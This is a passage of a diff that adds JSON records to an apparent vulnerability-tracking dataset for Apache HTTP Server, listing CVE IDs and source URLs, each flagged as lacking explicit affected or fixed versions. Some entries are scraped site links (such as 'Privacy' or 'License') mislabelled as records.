+ "title": "CVE-2024-42516",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2024-42516",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--414d53727b",
+ "system_id": "apache-httpd",
+ "title": "CVE-2024-40898",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2024-40898",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--4c276fa297",
+ "system_id": "apache-httpd",
+ "title": "Version 2.4",
+ "official_source_url": "https://httpd.apache.org/docs/2.4/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--4f2f2006f0",
+ "system_id": "apache-httpd",
+ "title": "CVE-2023-25690",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2023-25690",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--53ed5e694b",
+ "system_id": "apache-httpd",
+ "title": "CVE-2006-20001",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2006-20001",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--54f4c83f62",
+ "system_id": "apache-httpd",
+ "title": "CVE-2024-24795",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2024-24795",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--597e01ff2b",
+ "system_id": "apache-httpd",
+ "title": "mod_perl",
+ "official_source_url": "https://perl.apache.org/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--62f6b74275",
+ "system_id": "apache-httpd",
+ "title": "Tomcat",
+ "official_source_url": "https://tomcat.apache.org/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--63991a76ba",
+ "system_id": "apache-httpd",
+ "title": "CVE-2025-53020",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2025-53020",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--66951029b9",
+ "system_id": "apache-httpd",
+ "title": "CVE-2024-27316",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2024-27316",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--67f45a8c73",
+ "system_id": "apache-httpd",
+ "title": "Security Reports",
+ "official_source_url": "https://httpd.apache.org/security_report.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--7235782431",
+ "system_id": "apache-httpd",
+ "title": "CVE-2025-65082",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2025-65082",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--72c286c42f",
+ "system_id": "apache-httpd",
+ "title": "CVE-2023-38709",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2023-38709",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--72d0a9488a",
+ "system_id": "apache-httpd",
+ "title": "Apache Traffic Server",
+ "official_source_url": "https://trafficserver.apache.org/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--743aad06f7",
+ "system_id": "apache-httpd",
+ "title": "CVE-2024-39573",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2024-39573",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--77dc43b9bd",
+ "system_id": "apache-httpd",
+ "title": "CVE-2022-30556",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2022-30556",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--7ebb8cbaf7",
+ "system_id": "apache-httpd",
+ "title": "Test",
+ "official_source_url": "https://httpd.apache.org/test/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--8021fd91fe",
+ "system_id": "apache-httpd",
+ "title": "General Information",
+ "official_source_url": "https://httpd.apache.org/dev/devnotes.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--865fc55d60",
+ "system_id": "apache-httpd",
+ "title": "CVE-2025-49630",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2025-49630",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--89048ff274",
+ "system_id": "apache-httpd",
+ "title": "mod_ftp",
+ "official_source_url": "https://httpd.apache.org/mod_ftp/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--8c1c4a9f69",
+ "system_id": "apache-httpd",
+ "title": "CVE-2022-36760",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2022-36760",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--8cb5b0c11c",
+ "system_id": "apache-httpd",
+ "title": "CVE-2025-58098",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2025-58098",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--933f3c3296",
+ "system_id": "apache-httpd",
+ "title": "CVE-2024-43394",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2024-43394",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--9351ed6cb8",
+ "system_id": "apache-httpd",
+ "title": "CVE-2024-36387",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2024-36387",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--9374eed004",
+ "system_id": "apache-httpd",
+ "title": "CVE-2023-31122",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2023-31122",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--9b89d11a37",
+ "system_id": "apache-httpd",
+ "title": "CVE-2022-26377",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2022-26377",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--9c906c368b",
+ "system_id": "apache-httpd",
+ "title": "Thanks!",
+ "official_source_url": "https://www.apache.org/foundation/thanks.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-1999-1412",
+ "system_id": "apache-httpd",
+ "title": "CVE-1999-1412",
+ "official_source_url": "http://www.securityfocus.com/archive/1/14215",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2000-0505",
+ "system_id": "apache-httpd",
+ "title": "CVE-2000-0505",
+ "official_source_url": "http://www.securityfocus.com/bid/1284",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2000-1168",
+ "system_id": "apache-httpd",
+ "title": "CVE-2000-1168",
+ "official_source_url": "http://marc.info/?l=bugtraq&m=97502498610979&w=2",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2001-1556",
+ "system_id": "apache-httpd",
+ "title": "CVE-2001-1556",
+ "official_source_url": "http://archives.neohapsis.com/archives/bugtraq/2001-10/0231.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2002-0240",
+ "system_id": "apache-httpd",
+ "title": "CVE-2002-0240",
+ "official_source_url": "http://marc.info/?l=bugtraq&m=101311746611160&w=2",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2002-1157",
+ "system_id": "apache-httpd",
+ "title": "CVE-2002-1157",
+ "official_source_url": "http://archives.neohapsis.com/archives/bugtraq/2002-10/0374.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2002-1793",
+ "system_id": "apache-httpd",
+ "title": "CVE-2002-1793",
+ "official_source_url": "http://online.securityfocus.com/advisories/4502",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2002-2007",
+ "system_id": "apache-httpd",
+ "title": "CVE-2002-2007",
+ "official_source_url": "http://cert.uni-stuttgart.de/archive/bugtraq/2002/05/msg00272.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2003-0249",
+ "system_id": "apache-httpd",
+ "title": "CVE-2003-0249",
+ "official_source_url": "http://www.idefense.com/intelligence/vulnerabilities/display.php?id=97",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2003-1307",
+ "system_id": "apache-httpd",
+ "title": "CVE-2003-1307",
+ "official_source_url": "http://bugs.php.net/38915",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2003-1418",
+ "system_id": "apache-httpd",
+ "title": "CVE-2003-1418",
+ "official_source_url": "http://www.openbsd.org/errata32.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2004-0113",
+ "system_id": "apache-httpd",
+ "title": "CVE-2004-0113",
+ "official_source_url": "http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000839",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2004-0646",
+ "system_id": "apache-httpd",
+ "title": "CVE-2004-0646",
+ "official_source_url": "http://secunia.com/advisories/12647/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2004-2115",
+ "system_id": "apache-httpd",
+ "title": "CVE-2004-2115",
+ "official_source_url": "http://marc.info/?l=bugtraq&m=107496560106967&w=2",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2004-2343",
+ "system_id": "apache-httpd",
+ "title": "CVE-2004-2343",
+ "official_source_url": "http://archives.neohapsis.com/archives/bugtraq/2004-02/0043.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2005-2088",
+ "system_id": "apache-httpd",
+ "title": "CVE-2005-2088",
+ "official_source_url": "http://docs.info.apple.com/article.html?artnum=302847",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2005-3630",
+ "system_id": "apache-httpd",
+ "title": "CVE-2005-3630",
+ "official_source_url": "http://directory.fedora.redhat.com/wiki/FDS10Announcement",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2005-4814",
+ "system_id": "apache-httpd",
+ "title": "CVE-2005-4814",
+ "official_source_url": "http://sourceforge.net/project/shownotes.php?release_id=456920&group_id=82171",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2006-2330",
+ "system_id": "apache-httpd",
+ "title": "CVE-2006-2330",
+ "official_source_url": "http://secunia.com/advisories/19992",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2006-3918",
+ "system_id": "apache-httpd",
+ "title": "CVE-2006-3918",
+ "official_source_url": "ftp://patches.sgi.com/support/free/security/advisories/20060801-01-P",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2006-4004",
+ "system_id": "apache-httpd",
+ "title": "CVE-2006-4004",
+ "official_source_url": "http://secunia.com/advisories/21287",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2006-4191",
+ "system_id": "apache-httpd",
+ "title": "CVE-2006-4191",
+ "official_source_url": "http://retrogod.altervista.org/xmb_196_sql.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2006-4558",
+ "system_id": "apache-httpd",
+ "title": "CVE-2006-4558",
+ "official_source_url": "http://archives.neohapsis.com/archives/bugtraq/2006-05/0318.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2006-4625",
+ "system_id": "apache-httpd",
+ "title": "CVE-2006-4625",
+ "official_source_url": "http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?lang=en&cc=us&objectID=c01056506",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2006-4636",
+ "system_id": "apache-httpd",
+ "title": "CVE-2006-4636",
+ "official_source_url": "http://secunia.com/advisories/21753",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2006-5263",
+ "system_id": "apache-httpd",
+ "title": "CVE-2006-5263",
+ "official_source_url": "http://secunia.com/advisories/22346",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2006-5733",
+ "system_id": "apache-httpd",
+ "title": "CVE-2006-5733",
+ "official_source_url": "http://community.postnuke.com/Article2787.htm",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2006-5894",
+ "system_id": "apache-httpd",
+ "title": "CVE-2006-5894",
+ "official_source_url": "http://secunia.com/advisories/22847",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2006-6047",
+ "system_id": "apache-httpd",
+ "title": "CVE-2006-6047",
+ "official_source_url": "http://secunia.com/advisories/22885",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2006-6390",
+ "system_id": "apache-httpd",
+ "title": "CVE-2006-6390",
+ "official_source_url": "http://secunia.com/advisories/23168",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2006-6445",
+ "system_id": "apache-httpd",
+ "title": "CVE-2006-6445",
+ "official_source_url": "http://www.securityfocus.com/bid/21413",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2006-6613",
+ "system_id": "apache-httpd",
+ "title": "CVE-2006-6613",
+ "official_source_url": "http://www.securityfocus.com/bid/21519",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2006-6869",
+ "system_id": "apache-httpd",
+ "title": "CVE-2006-6869",
+ "official_source_url": "http://www.securityfocus.com/bid/21837",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2006-7098",
+ "system_id": "apache-httpd",
+ "title": "CVE-2006-7098",
+ "official_source_url": "http://archives.neohapsis.com/archives/fulldisclosure/2007-02/0579.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2007-0086",
+ "system_id": "apache-httpd",
+ "title": "CVE-2007-0086",
+ "official_source_url": "http://osvdb.org/33456",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2007-0098",
+ "system_id": "apache-httpd",
+ "title": "CVE-2007-0098",
+ "official_source_url": "http://osvdb.org/32352",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2007-0173",
+ "system_id": "apache-httpd",
+ "title": "CVE-2007-0173",
+ "official_source_url": "http://osvdb.org/35914",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2007-0419",
+ "system_id": "apache-httpd",
+ "title": "CVE-2007-0419",
+ "official_source_url": "http://dev2dev.bea.com/pub/advisory/213",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2007-0450",
+ "system_id": "apache-httpd",
+ "title": "CVE-2007-0450",
+ "official_source_url": "http://community.ca.com/blogs/casecurityresponseblog/archive/2009/01/23.aspx",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2007-0637",
+ "system_id": "apache-httpd",
+ "title": "CVE-2007-0637",
+ "official_source_url": "http://osvdb.org/33033",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2007-1524",
+ "system_id": "apache-httpd",
+ "title": "CVE-2007-1524",
+ "official_source_url": "http://secunia.com/advisories/24520",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2007-1577",
+ "system_id": "apache-httpd",
+ "title": "CVE-2007-1577",
+ "official_source_url": "http://www.osvdb.org/33776",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2007-1633",
+ "system_id": "apache-httpd",
+ "title": "CVE-2007-1633",
+ "official_source_url": "http://osvdb.org/38599",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2007-1720",
+ "system_id": "apache-httpd",
+ "title": "CVE-2007-1720",
+ "official_source_url": "http://osvdb.org/36572",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2007-1741",
+ "system_id": "apache-httpd",
+ "title": "CVE-2007-1741",
+ "official_source_url": "http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=511",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2007-1742",
+ "system_id": "apache-httpd",
+ "title": "CVE-2007-1742",
+ "official_source_url": "http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=511",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2007-1743",
+ "system_id": "apache-httpd",
+ "title": "CVE-2007-1743",
+ "official_source_url": "http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=511",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2007-1801",
+ "system_id": "apache-httpd",
+ "title": "CVE-2007-1801",
+ "official_source_url": "http://osvdb.org/35458",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2007-1842",
+ "system_id": "apache-httpd",
+ "title": "CVE-2007-1842",
+ "official_source_url": "http://kldp.net/plugins/scmcvs/cvsweb.php/jsboard-2/login.php.diff?r1=1.8%3Br2=1.9%3Bcvsroot=jsboard",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2007-1860",
+ "system_id": "apache-httpd",
+ "title": "CVE-2007-1860",
+ "official_source_url": "http://docs.info.apple.com/article.html?artnum=306172",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2019-0211",
+ "system_id": "apache-httpd",
+ "title": "Apache HTTP Server Privilege Escalation Vulnerability",
+ "official_source_url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2021-40438",
+ "system_id": "apache-httpd",
+ "title": "Apache HTTP Server-Side Request Forgery (SSRF)",
+ "official_source_url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2021-41773",
+ "system_id": "apache-httpd",
+ "title": "Apache HTTP Server Path Traversal Vulnerability",
+ "official_source_url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2021-42013",
+ "system_id": "apache-httpd",
+ "title": "Apache HTTP Server Path Traversal Vulnerability",
+ "official_source_url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--CVE-2024-38475",
+ "system_id": "apache-httpd",
+ "title": "Apache HTTP Server Improper Escaping of Output Vulnerability",
+ "official_source_url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--a17785142a",
+ "system_id": "apache-httpd",
+ "title": "CVE-2022-28615",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2022-28615",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--a45c30ecd9",
+ "system_id": "apache-httpd",
+ "title": "License",
+ "official_source_url": "https://www.apache.org/licenses/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--a621acb133",
+ "system_id": "apache-httpd",
+ "title": "Docs",
+ "official_source_url": "https://httpd.apache.org/docs-project/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--a8a1854523",
+ "system_id": "apache-httpd",
+ "title": "CVE-2024-38474",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2024-38474",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--aacfaa6a80",
+ "system_id": "apache-httpd",
+ "title": "Developer Info",
+ "official_source_url": "https://httpd.apache.org/dev/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--aca919348b",
+ "system_id": "apache-httpd",
+ "title": "Bug Reports",
+ "official_source_url": "https://httpd.apache.org/bug_report.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--b61c783667",
+ "system_id": "apache-httpd",
+ "title": "CVE-2024-38477",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2024-38477",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--c63da36498",
+ "system_id": "apache-httpd",
+ "title": "CVE-2022-29404",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2022-29404",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--c6691454bc",
+ "system_id": "apache-httpd",
+ "title": "Apache httpd 2.2 vulnerabilities list",
+ "official_source_url": "https://httpd.apache.org/security/vulnerabilities_22.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--d0e22d65d1",
+ "system_id": "apache-httpd",
+ "title": "CVE-2022-37436",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2022-37436",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--d64723cb44",
+ "system_id": "apache-httpd",
+ "title": "Get Involved",
+ "official_source_url": "https://httpd.apache.org/contribute/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--daa9023ed5",
+ "system_id": "apache-httpd",
+ "title": "\u00b6",
+ "official_source_url": "https://httpd.apache.org/security/vulnerabilities_24.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--dd0bd113b7",
+ "system_id": "apache-httpd",
+ "title": "CVE-2023-45802",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2023-45802",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--de25fcbe49",
+ "system_id": "apache-httpd",
+ "title": "CVE-2024-38476",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2024-38476",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--e18cad1aed",
+ "system_id": "apache-httpd",
+ "title": "2.4",
+ "official_source_url": "https://svn.apache.org/viewvc/httpd/httpd/branches/2.4.x/",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--e3be78f3ce",
+ "system_id": "apache-httpd",
+ "title": "CVE-2024-39884",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2024-39884",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--e4fc049559",
+ "system_id": "apache-httpd",
+ "title": "Privacy",
+ "official_source_url": "https://www.apache.org/foundation/policies/privacy.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--eb473e3585",
+ "system_id": "apache-httpd",
+ "title": "About",
+ "official_source_url": "https://httpd.apache.org/ABOUT_APACHE.html",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--f0745e0763",
+ "system_id": "apache-httpd",
+ "title": "CVE-2022-28614",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2022-28614",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--f7a4b946cb",
+ "system_id": "apache-httpd",
+ "title": "Modules",
+ "official_source_url": "https://httpd.apache.org/modules",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--f8fa380112",
+ "system_id": "apache-httpd",
+ "title": "CVE-2024-38475",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2024-38475",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--fb4f0f6f89",
+ "system_id": "apache-httpd",
+ "title": "CVE-2022-30522",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2022-30522",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
+ "canonical_id": "apache-httpd--fe666b8dc0",
+ "system_id": "apache-httpd",
+ "title": "CVE-2025-49812",
+ "official_source_url": "https://www.cve.org/CVERecord?id=CVE-2025-49812",
+ "version_gap_reason": "official bulletin or aggregated source did not expose explicit affected/fixed versions"
+ },
+ {
